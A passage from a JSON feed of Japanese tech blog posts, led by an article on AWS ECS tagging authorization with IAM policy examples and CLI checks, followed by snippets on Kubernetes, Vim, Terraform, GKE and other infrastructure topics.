を使用しない拒否レスポンスの例以下は、ecs:CreateCluster アクションを付与している IAM ポリシーの一部です。ecs:TagResource アクションは含まれていません。tagResourceAuthorization アカウント設定がオンの場合、リクエスト例では以下の AccessDenied 例外が返されます。# IAM ポリシー“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# クラスター作成のリクエストaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# タグ付けの拒否されたレスポンスAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource action必要なアクション:IAM プリンシパルが 2024 年 3 月 29 日以降も新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーに次のステートメントを追加することを強くお勧めします。すべての ECS リソースの作成時にタグ付けを許可以下の説明に従って ecs:TagResource アクションを追加すると、ECS リソースの作成中にタグ付けが可能になります [2]。“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]単一の ECS リソースタイプ (ECS クラスタ) の作成時にタグ付けを許可条件ステートメント ecs:CreateAction を使用すると、タグ付けを特定の ECS API に制限できます。以下の例では、ECS CreateCluster API でのみタグ付けへのアクセスを許可します。タグ付きの ECS RunTask API へのリクエストは、拒否判定になります [2]。“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]タイムライン:2024 年 2 月 9 日(完了)- タグ付け認証はデフォルトで on になっています。これには、ホワイトリストに登録されているアカウントは含まれません。tagResourceAuthorization アカウント設定の on/off を切り替えることも可能であり、ポリシーへの準拠をテストいただけます。2024 年 3 月 8 日 - タグ付け認証を on にすると、off にすることはできなくなります。この日まではアカウント設定を切り替えることができますので、その間に IAM ポリシーをテストすることをお勧めします。2024 年 3 月 29 日 - すべての AWS アカウントでタグ付け認証が有効になります。アカウントレベルの設定は使用されなくなり、AWS コンソールの ECS アカウント設定ページから削除されます。ご質問やご不明点等ございましたら、AWS サポート [3] までお問い合わせください。[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support---We are contacting you because we identified that your account has tagged ECS resources upon creation, within the past year, without the ecs:TagResource permission. Amazon ECS introduced tagging authorization for resource creation on April 18, 2023 [1]. New and existing customers must opt-in to use this new feature by using the ECS Account Settings page in the ECS Console or API. This security control allows users to deny or allow tagging ECS resources when they are created. We strongly recommend you update your IAM policies to explicitly allow the ecs:TagResource action so that your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024.From February 9, 2024, all customer accounts which have not explicitly set the tagResourceAuthorization account setting to “off” in the ECS Account Settings page in the AWS Console were automatically opted into the setting. We have temporarily allow-listed your AWS account so you will continue to have the “off” behavior for tagResourceAuthorization until March 29, 2024.On March 8, 2024, we removed the ability for currently opted-in accounts to opt-out of tagging authorization and enforced the creation of all ECS resources that support tags to use the ecs:TagResource IAM permission.Finally on March 29, 2024, we will remove your account from the allow-list and activate tagResourceAuthorization. You will experience an \\"AccessDenied\\" message if you attempt to create tagged ECS resources without including the ecs:TagResource action in the IAM policy of the calling principal. This change will affect the following APIs: CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, and RegisterTaskDefinition.Example Deny Response without ecs:TagResourceThe following is part of an IAM policy that is granting the ecs:CreateCluster Action. It does not include the ecs:TagResource Action. When tagResourceAuthorization Account setting is on, the example request would return the AccessDeniedException below.# IAM Policy“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# Create Cluster Requestaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# Tagging Denied ResponseAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource actionRequired Action:To ensure your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024, we strongly recommend adding the following statement(s) to your IAM policies:Allow Tagging during creation for all ECS ResourcesAdding the ecs:TagResource Action as described below would Allow tagging during ECS resource creation [2].“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]Allow Tagging during creation for single ECS Resource Type (ECS Cluster)Using the Conditional statement ecs:CreateAction allow you to limit the tagging to a specific ECS API. The example below grants access to tagging only on the ECS create-cluster API. A request to the ECS API run-task with tags would result in a Deny decision [2].“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]Timeline:February 9, 2024 (Completed) - Tagging Authorization is “on” by default. This excludes your account which is allowlisted. The tagResourceAuthorization account setting can be turned on/off to help test your policy compliance.March 8, 2024 - Tagging Authorization can no longer be turned “off” once it is turned “on”. It is recommended that you test your IAM policies before this date while you are able to toggle the account setting.March 29, 2024 - Tagging Authorization will be turned on for all AWS accounts. The account level setting will no longer be used and will be removed from the ECS Account Settings page in the AWS Console.If you have any questions, please contact AWS Support [3].[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support通知が来ているアカウントは29日までに対応する必要があります。確認aws ecs list-account-settings --effective-settings --name tagResourceAuthorization を実行すると以下のような表示になると思います。ここがonであれば、すでにアカウント単位で有効になってるので影響がありません。(ただし、タグ付きのリソースを新規作成する際には権限が足りないとエラーになる可能性はあります)ここがoffになっている場合、タグ付け認可が無効になってるので3月29日以降影響を受ける可能性があります。% aws ecs list-account-settings --effective-settings --name tagResourceAuthorization{ \\"settings\\": [ { \\"name\\": \\"tagResourceAuthorization\\", \\"value\\": \\"on\\", \\"principalArn\\": \\"arn:aws:iam::xxxxxxxxxxxx:root\\" } ]}影響がある例ユースケースにもよりますが、タグ付け認可に関連する操作は以下のようなものが考えられるかと思いますインフラ担当者によるECSリソース構築開発担当者(またはCI/CD)によるECSサービスのデプロイ前者に関しては、PowerUser相当の強い権限を付与されていることが多くここが問題になることはほとんどど無いかとは思います。後者の特にCI/CDによるデプロイに問題となることがありえます。一般的に非人間ユーザで目的が明確であれば、最小権限の原則に則り、 ecs:TagResource が付与されていない可能性があります。トライアンドエラーで権限を付与した場合、過去にうまく動いたためそのままの権限で使い続けている可能性もあります。その場合影響がある可能性あります。デプロイ時のタスク定義登録の際、タスク定義内に従来なかったtagsの記述を新規追加した際にResgisterTaskDefinitionでエラーになるという事例を私は経験しました。タスク定義にtagsがないときはタグ付け認可は実行されないのでそのまま成功していたため、ecs:TagResource が必要なことに気づいていませんでした。エラーとしては以下のような記述になるので、タグ付け認可の機能の存在を知っていて冷静に読み解けば、ecs:TagResource が足りていないことに気づけると思います。An error occurred (AccessDeniedException) when calling the RegisterTaskDefinition operation: User: arn:aws:sts::xxxx:assumed-role/deploy-github-actions/GitHubActions is not authorized to perform: ecs:TagResource on resource: arn:aws:ecs:ap-northeast-1:xxxx:task-definition/ecs-service because no identity-based policy allows the ecs:TagResource action対応まずECSサービスを利用しているIAM RoleとIAM Policyを洗い出します。その上でそれらが以下のアクションを許可している場合、ecs:TagResource を追加してあげます。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTask私の場合は、ECSサービスデプロイ用のポリシーに以下のStatementを追加しました。それぞれ適切な記述を足していただけたらと思います。この場合タスク定義を登録する際にタグ付け認可を通すような許可を追加しています。 { \\"Action\\": \\"ecs:TagResource\\", \\"Condition\\": { \\"StringEquals\\": { \\"ecs:CreateAction\\": \\"RegisterTaskDefinition\\" } }, \\"Effect\\": \\"Allow\\", \\"Resource\\": \\"arn:aws:ecs:ap-northeast-1:xxxxxx:task-definition/yyyyyyyyyyyyyyy:*\\", \\"Sid\\": \\"RegisterTaskDefinitionWithTag\\" },まとめタグ付け認可について説明しました。タグ付け認可は2024年3月29日に強制的に全アカウントで有効になります。時間が少ないですが、影響受ける可能性があるかどうかチェックしてハマらないようにしましょう。また、これまでタグ付けしてなかったリソースにタグ付けする際にタグ付け認可に引っかかる可能性があります。デプロイやリソース作成の際にnot authorized to perform: ecs:TagResource と言われたらこの記事を思い出していただけたらと思います。それでは良いECSライフを!関連リソースアカウント設定による Amazon ECS 機能へのアクセス - Amazon Elastic Container Service タグ付け認可リソース作成時にタグ付けするための許可を付与する - Amazon Elastic Container Service","link":"https://blog.masasuzu.net/entry/2024/03/20/121151","isoDate":"2024-03-20T03:11:51.000Z","dateMiliSeconds":1710904311000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Skaffoldのスゴさを語る!","contentSnippet":"この記事は、2024/3/15に登壇したJagu\'e\'r クラウドネイティブ分科会 俺の考える最強のCI/CDのリマスターになります。 k8sアプリケーション開発の悩み突然ですが皆さん、k8sでアプリを動かす時にこんな悩み、イライラはありませんか?k8sで検証する時には必ず通る道だと思います。効率よく検証するにはどうしたものか、、Skaffoldはそんな悩みを解決してくれます\uD83D\uDE04 Skaffoldとは? 概要Skaffold[1]は、コンテナベース及びKubernetesアプリケーションの継続的開発(Continuous Development = CD)を容易...","link":"https://zenn.dev/kojake_300/articles/11945f2047b22b","isoDate":"2024-03-18T11:24:43.000Z","dateMiliSeconds":1710761083000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Skaffoldを用いたGKEアプリケーションの CD(Continuous Development)","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/skaffoldwoyong-itagkeapurikesiyonno-cd-continuous-development","isoDate":"2024-03-17T04:00:00.000Z","dateMiliSeconds":1710648000000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"gin.vimで捗るgitのログ改竄 (instant fixup)","contentSnippet":"Vim 駅伝の2024/3/15の記事です。Gitで整然とコミットを詰むのはそうそうたやすいものではありません。あのコミットでバグを仕込んでしまった、コミットメッセージを間違えていた、そんなミスはよくあることです。かと言って、整然とコミットするためにコミットを後回しにしては本末転倒です。うかつな操作で作業内容を失うかもしれませんし、少し前の作業内容に戻りたくなるかもしれません。また差分が大きくなるほど適切な粒度でのコミットが億劫になります。","link":"https://blog.atusy.net/2024/03/15/instant-fixup-with-gin-vim/","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tagpr で tag trigger の workflow が実行されなくてハマった話","contentSnippet":"最近 tagpr という便利ツールの存在を知って試していたのですが、使い方が悪くてハマったのでメモ。 tagpr とは 作者さまの記事を参照ください。 リリース用のpu","link":"https://blog.1q77.com/2024/03/tagpr/","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Helm chart を GitHub Container Registry に host する","contentSnippet":"背景 最近は書いたアプリを Kubernetes に deploy することも多い。 その際に helm で簡単に deploy できるようになっていると便利ということで Helm chart を Git に入れておいても良いのだけ","link":"https://blog.1q77.com/2024/03/helm-push-to-ghcr/","isoDate":"2024-03-14T15:13:39.000Z","dateMiliSeconds":1710429219000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"書を捨てよ、現場へ出よう","contentSnippet":"書を捨てよ、現場へ出よう このSRE本がすごい!2024年 LT版というタイトルで登壇してきました。\\r\\rSREたちの廊下〜あなたの現場での悩み、あの本にヒントがあるかも〜\\rhttps://findy.connpass.com/event/311323/\\r\\r元ブログはこちら\\r\\rこのSRE本がすごい!2024年版\\rhttps://syu-m-5151.hatenablog.com/entry/2024/01/26/165255\\r\\r登壇ブログはこちら\\r\\r『読書とは、能力、知識ではなく 問いを獲得するための行為』みたいな内容で登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2024/03/13/164951","link":"https://speakerdeck.com/nwiizo/shu-woshe-teyo-xian-chang-hechu-you","isoDate":"2024-03-12T04:00:00.000Z","dateMiliSeconds":1710216000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Google Cloud Modern App Summit Tokyo\'24 に登壇しました! ~オススメのセッションを添えて~","contentSnippet":"はじめに3/1(金)に Google Cloud Modern App Summit Tokyo’24 が開催されましたhttps://cloudonair.withgoogle.com/events/modern-app-summit-24#私はスポンサーセッションのSpeakerとして参加しましたが、他のセッションもすごくおもしろいものが多かったのでゆる〜く内容も合わせてご紹介しますこの方の参加レポートがすごく良いのでぜひ!https://iret.media/94801 登壇内容私は、以下の内容で登壇しました。これだけ規模の大きいイベントに登壇するのは初め...","link":"https://zenn.dev/yokoo_an209/articles/488f1aa442444f","isoDate":"2024-03-12T00:13:04.000Z","dateMiliSeconds":1710202384000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"gyでVimからクリップボードにヤンクする","contentSnippet":"Vim 駅伝の2024/3/11の記事です。Vim/Neovimで文字列をクリップボードへヤンクする主な方法は大きく二通りあります。都度指定\\"*yや\\"+yといった具合にヤンクする時にクリップボードを使うよう、明示的にレジスタを指定する自動同期set clipboard+=unnamedplus(またはunnamed)しておき、レジスタを指定せずにヤンクした内容を自動的にクリップボードに同期する詳しくは以下の記事をご参照ください。","link":"https://blog.atusy.net/2024/03/11/vim-gy-as-gui-yank/","isoDate":"2024-03-11T00:00:00.000Z","dateMiliSeconds":1710115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"君たちはどう記事を管理しているか","contentSnippet":"はじめにみなさんは良いなと思った記事や保存しておきたいなと思った記事をどのように溜めていますか?また、どのように引き出していますか?身近に「こんな資料・記事あったな、参考になると思うのでどうぞ 」で シュツ と出してくる猛者エンジニアの方がいたりしますよね...ここでは、頭のストレージ容量が皆無な私が、そんなことできる人になりてぇなぁ〜と思いながら、考えた方法をご紹介します。ブラウザのブックマークや、Qiita・Zennに搭載のネイティブのストック機能、Slackの自分だけのチャンネルに貼る、様々な方法があると思います。もしくは、特に溜めていなく引き出したいときに思い出せ...","link":"https://zenn.dev/yokoo_an209/articles/c0ccd3bd241ad6","isoDate":"2024-03-07T13:49:49.000Z","dateMiliSeconds":1709819389000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"生成AI入門","contentSnippet":"今話題の生成AIについて簡単に技術概要をお話ししたのち、LangChain、プロンプトエンジニアリング、RAG(Retrieval Augmented Generation)、Embedding、グラウンディングなどを実装の手法などを紹介しました。","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men","isoDate":"2024-03-02T05:00:00.000Z","dateMiliSeconds":1709355600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"ftExtra v0.6.2をリリースしました","contentSnippet":"ftExtra v0.6.2をリリースしました。flextableパッケージを使って表組みする時に、セル内のマークダウンを処理できる ftExtra::colformat_md() がウリです。data.frame( x = c(\\"**bold**\\", \\"*italic*\\"), y = c(\\"^superscript^\\", \\"~subscript~\\"), z = c(\\"***~ft~^Extra^** is*\\", \\"*Cool*\\"), stringsAsFactors = FALSE) |> flextable::flextable() |> ftExtra::colformat_md().cl-9f195392{}.cl-9f13596a{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135974{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:bold;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f13597e{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f13597f{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f135988{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f135989{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135992{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f168324{margin:0;text-align:left;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);padding-bottom:5pt;padding-top:5pt;padding-left:5pt;padding-right:5pt;line-height: 1;background-color:transparent;}.cl-9f1690b2{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 1.5pt solid rgba(102, 102, 102, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bc{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bd{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}x","link":"https://blog.atusy.net/2024/03/01/ftextra-v0-6-2/","isoDate":"2024-03-01T00:00:00.000Z","dateMiliSeconds":1709251200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"酸いも甘いもある Shared VPC(共有VPC) ~ GKE をShared VPC で構築する際の苦悩~","contentSnippet":"このブログは、【Google Cloud】GDG Tokyo Monthly Online Tech Talksにて発表した内容を元にしています。登壇時の資料はこちらになります。https://speakerdeck.com/parupappa2929/suan-imogan-imoarushared-vpc-gong-you-vpc-gkewoshared-vpcdegou-zhu-suruji-noku-nao はじめにGoogle Cloud Shared VPC(共有VPC)はネットワークリソースの集中管理ができる一方で、リソース利用に関して制約があったり、エンプラ企業...","link":"https://zenn.dev/yokoo_an209/articles/1818360b9c7821","isoDate":"2024-02-29T07:23:09.000Z","dateMiliSeconds":1709191389000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Google Cloud Managed Service for Prometheusでprismaメトリクスを可視化してみた","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/google-cloud-managed-service-for-prometheusteprismametorikusuwoke-shi-hua-sitemita","isoDate":"2024-02-29T05:00:00.000Z","dateMiliSeconds":1709182800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"迅速に叶える、GKE Autopilot によるユニバーサルモダンアーキテクチャの実践/Rapidly Achieve Universal Modern Architecture with GKE Autopilot in Practice","contentSnippet":"Google Cloud Modern App Summit Tokyo \'24 にて登壇した内容です。\\r\\rhttps://cloudonair.withgoogle.com/events/modern-app-summit-24?talk=session-c1","link":"https://speakerdeck.com/parupappa2929/xun-su-nixie-eru-gke-autopilotniyoruyunibasarumodanakitekutiyanoshi-jian","isoDate":"2024-02-29T05:00:00.000Z","dateMiliSeconds":1709182800000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Azure Container Apps Jobs を Self-hosted GitHub Actions Runner として使う","contentSnippet":"GitHub Actions の Self-hosted Runner を安く用意する方法を探していたところ、 Azure の Container Apps Jobs というのが便利に使えるらしいというのを見つけたので試してみる。 チュートリアル:Az","link":"https://blog.1q77.com/2024/02/container-apps-jobs-self-hosted-github-actions-runner/","isoDate":"2024-02-23T10:05:41.000Z","dateMiliSeconds":1708682741000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"酸いも甘いもある Shared VPC(共有VPC) ~ GKE を Shared VPC で構築する際の苦悩 ~","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/suan-imogan-imoarushared-vpc-gong-you-vpc-gkewoshared-vpcdegou-zhu-suruji-noku-nao","isoDate":"2024-02-22T05:00:00.000Z","dateMiliSeconds":1708578000000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform workspace使って思ったこと","contentSnippet":"背景 そこまで大きな案件でもなく、 環境間の差分もあまりなさそうだったため 何より使ったことないから試してみようっていう好奇心 ある案件にて上記の理由から、Terraform workspaceを採用しました。 今回は、 […]The post Terraform workspace使って思ったこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/terraform-workspace/","isoDate":"2024-02-18T14:28:59.000Z","dateMiliSeconds":1708266539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"アーキテクチャから学ぶKubernetesの全体像","contentSnippet":"Developers Summit(デブサミ)2024で登壇したセッションの資料です。\\r\\r- https://event.shoeisha.jp/devsumi/20240215\\r- https://event.shoeisha.jp/devsumi/20240215/session/4777\\r\\rセッション解説記事:\\rhttps://codezine.jp/article/detail/19131","link":"https://speakerdeck.com/bells17/akitekutiyakaraxue-hukubernetesnoquan-ti-xiang","isoDate":"2024-02-15T05:00:00.000Z","dateMiliSeconds":1707973200000,"authorName":"bells17","authorId":"bells17"},{"title":"個人開発でWebアプリの開発とデプロイの流れ","contentSnippet":"個人でWebサービスを開発したいけど、どのような流れで作っていけばいいのかわからない方向けです。個人開発でWebアプリを開発、デプロイをしたのでその流れを共有したいと思います。作ったもの麻雀戦績管理アプリ名付けて「PungPals」。雀荘などのオフラインでの対戦結果を残し、個人成績やランキングを確認できます。pungpals-service-xstpolfd4q-an.a.run.app開発とデプロイの流れ1.要件定義、設計実装がスムーズに進むために、しっかりとしておきましょう。以前記事を書いたので、参考にしてください。kechigon.hatenablog.com2.技術選定今回作ったアプリケーションはDjangoで開発し、Cloud Runにデプロイしています。選定理由は、Django: 経験があるから。Cloud Run: Djangoアプリのデプロイ方法の公式ドキュメントがあった(後ほど説明します)、マネージドな部分とカスタムできる部分のバランスがちょうどよかったから。でした。以下これらの技術を使って、開発デプロイまでの流れを説明していきます。3.Djangoを使ってアプリケーションを作成Djangoにはチュートリアルがあり、はじめての Django アプリ作成、その 1 | Django ドキュメント | Djangoはじめての Django アプリ作成、その2 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 3 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 4 | Django ドキュメント | Djangoを読めば開発方法がわかると思います。環境構築をし、実装し、ローカルで動作確認をしながら開発していきます。4.Cloud run へのデプロイDjangoアプリのCloud runへのデプロイ方法は公式ドキュメントにまとめられているので、これを見ながら進めます。cloud.google.comDjangoアプリケーションを環境に合わせて設定した後コンテナ化し、Cloud Runに載せます。それに伴い、Cloud SQL(データベース)、Secret Manager(シークレット管理)、Cloud Storage(静的アセットの保存など)、Cloud Build(CI/CD)、Artifact Registry(コンテナレジストリ)の作成、設定も行います。ドキュメントではGCRを使っていますが、現在非推奨なので、Artifact Registryをコンテナレジストリとして使用します。cloud.google.comオプションですが、GCPへのリソースの作成はTerraformを利用すると、構成管理ができ便利です。作成するインフラの図以上のことを行った後のGitHubリポジトリPungPalsのコードは公開しているので、参考にしていただければと思います。github.comこれから今後は、運用面の課題解決や集客などを行っていく予定なので、ブログにしていくつもりです!","link":"https://kechigon.hatenablog.com/entry/2024/02/13/125853","isoDate":"2024-02-13T03:58:53.000Z","dateMiliSeconds":1707796733000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Google Cloudの管理を楽にする、 トイルを減らすクラウドガバナンス","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/google-cloudnoguan-li-wole-nisuru-toiruwojian-rasukuraudogabanansu","isoDate":"2024-02-11T05:00:00.000Z","dateMiliSeconds":1707627600000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"OWASP Top 10 for Large Language Model Applications をまとめる","contentSnippet":"はじめに Sreake 事業部インターン生の中林です。私は、Sreake 事業部長期インターン生として SRE 技術の技術検証を行っています。 今回は、Sreake 事業部で作成している LLM アプリケーションに対する […]The post OWASP Top 10 for Large Language Model Applications をまとめる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/owasp-top-10-for-llm-application/","isoDate":"2024-02-05T09:29:32.000Z","dateMiliSeconds":1707125372000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDB ManagedのAlways Free枠を試そう","contentSnippet":"YugabyteDB Managedにフリートライアルがあるのは知っていたのですが、期間が限られたものしか無いと思っていました。YugabyteDBについて調べごとをしていたら機能制限はあるもののSandboxクラスターというクレジットカード登録すら不要でAlways Freeな利用枠があることを知りました。いままでローカルでYugabyteDBを建てたりminikube上で遊んでいたのですが、簡単な検証であればSandboxクラスターで十分です。この記事ではそんなYugabyteDB ManagedのSandboxクラスターを紹介します。 Sandbox Clusterの制限...","link":"https://zenn.dev/nnaka2992/articles/play_with_yugabytedb_managed_sandbox","isoDate":"2024-02-04T15:02:28.000Z","dateMiliSeconds":1707058948000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google CloudのObservability : Personalized Service Health","contentSnippet":"はじめに先日、これまでプレビュー版だった、Google Cloudの稼働監視サービスのPersonalized Service HealthがGAになりました!https://cloud.google.com/blog/products/devops-sre/personalized-service-health-is-now-generally-available/?hl=en基本的な使用方法や設定はこちらのブログにて詳しく解説されていますので、ここでは運用面の機能を中心にPersonalized Service Healthを見ていきます。Google Cloudの障害情...","link":"https://zenn.dev/yokoo_an209/articles/8cc96cb8acb4bb","isoDate":"2024-02-04T11:02:42.000Z","dateMiliSeconds":1707044562000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"renovate で CircleCI の terraform_version を更新する","contentSnippet":"Circle CI の terraform Orb で terraform の version を指定するには次のようにしますが、この terraform_version の値に変数を 使うことが出来ず、tf ファイルや .tool-versions から読み出した値を使うことが出来ませ","link":"https://blog.1q77.com/2024/02/update-terraform-version-in-circleci-with-renovate/","isoDate":"2024-02-04T10:37:36.000Z","dateMiliSeconds":1707043056000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"raspberry piで学ぶ組込みLinuxデバイスドライバ開発Part2","contentSnippet":"はじめに前回からの続きです。前回までで基本的なデバイスドライバを作成して動作確認をしましたが、Linux上で完結するドライバであり、ラズパイ自体は使っていませんでした。今回はラズパイにLEDとスイッチを簡単な回路で接続して、それを操作するデバイスドライバを作成してみます。セミナーで使用したボートには4つのLEDと4つのスイッチが付いていたので1つのドライバで4つ同時に制御するものを作りましたが、回路を作るのが面倒なので1つずつです。ご承知おきくださいませ。 LEDを操作するデバイスドライバGPIO18番ピンにLEDを接続してこれを点けたり消したりできるモジュールを作...","link":"https://zenn.dev/satoken/articles/try-lkm-raspi2","isoDate":"2024-02-04T02:39:55.000Z","dateMiliSeconds":1707014395000,"authorName":"satoken","authorId":"satoken"},{"title":"Controllerを作ってみよう~ Kubernetes Controllerハンズオン ~","contentSnippet":"イベントURL: https://k8s-novice-jp.connpass.com/event/300442/\\r参考リポジトリ: https://github.com/bells17/k8s-controller-example\\r\\rその他リンク:\\r\\rhttps://github.com/kubernetes/sample-controller\\rhttps://github.com/kubernetes/kubernetes/blob/v1.29.1/pkg/controller/clusterroleaggregation/clusterroleaggregation_controller.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/reflector.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0/informers\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/store.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/delta_fifo.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/util/workqueue/rate_limiting_queue.go","link":"https://speakerdeck.com/bells17/controllerwozuo-tutemiyou-kubernetes-controllerhansuon","isoDate":"2024-01-30T05:00:00.000Z","dateMiliSeconds":1706590800000,"authorName":"bells17","authorId":"bells17"},{"title":"raspberry piで学ぶ組込みLinuxデバイスドライバ開発","contentSnippet":"はじめに1/24~26の3日間 仕事をサボっ.... 調整をしてポリテクセンター関東で行われた組込みLinuxデバイスドライバ開発技術というセミナーを受講してきました。カーネルのVersionが2.6、対象のマイコンボードがSH-4というとても古いものだったので今回はラズパイで復習しながら、セミナーの内容を共有したいと思います。↑がセミナーで使用したボードです。LEDやタクトスイッチ、赤外線センサやモータがボートに付いているのでそれを制御するドライバを作成しました。セミナーのテキストは2部構成で内容は以下の通りです。第1部CPUボード編1章 ターゲットボードの確認...","link":"https://zenn.dev/satoken/articles/try-lkm-raspi","isoDate":"2024-01-27T11:48:11.000Z","dateMiliSeconds":1706356091000,"authorName":"satoken","authorId":"satoken"},{"title":"Mac に Homebrew で docker pluings をインストールする","contentSnippet":"Docker Desktop for Mac であれば何もしなくても docker compose コマンドは使えるようになっているのですが、Lima で docker を使っている場合などで Homebrew で docker 